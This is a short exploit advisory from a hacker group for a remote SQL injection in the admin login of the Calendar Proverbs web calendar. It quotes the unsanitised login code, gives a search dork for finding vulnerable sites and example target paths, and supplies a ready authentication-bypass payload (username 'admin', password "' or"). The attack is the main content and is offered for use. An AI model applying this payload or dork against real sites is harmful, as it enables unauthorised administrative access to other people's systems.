|
# Calendar Proverbs <=1.1 (caladmin.php) Remote SQL Injection
# Download:
# http://www.proverbs.biz/downloads/calendar.zip
# Bug found by JosS / Jose Luis G=F3ngora Fern=E1ndez
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# /server irc.freenode.net /join #fullsecure
# d0rk: "Calendar powered by Proverbs"
# Stop lammer
[*] Vuln Code - caladmin.inc.php
$user = "";
$pass = "";
if (isset($_POST['loginname']) && $_POST['loginname'] != "")
$user = $_POST['loginname'];
if (isset($_POST['loginpass']) && $_POST['loginpass'] != "")
$pass = $_POST['loginpass'];
$loggedin = $this->loginuser($user, $pass);
[*] Simple Sql Injection In:
http://www.example.com/PATH/caladmin.php
http://www.example.com/events/caladmin.php
[*] Exploit:
Username: admin
Password: ' or
//---------------------------------------\\
Greetz To: All Hackers
JosS! / Jose Luis G=F3ngora Fern=E1ndez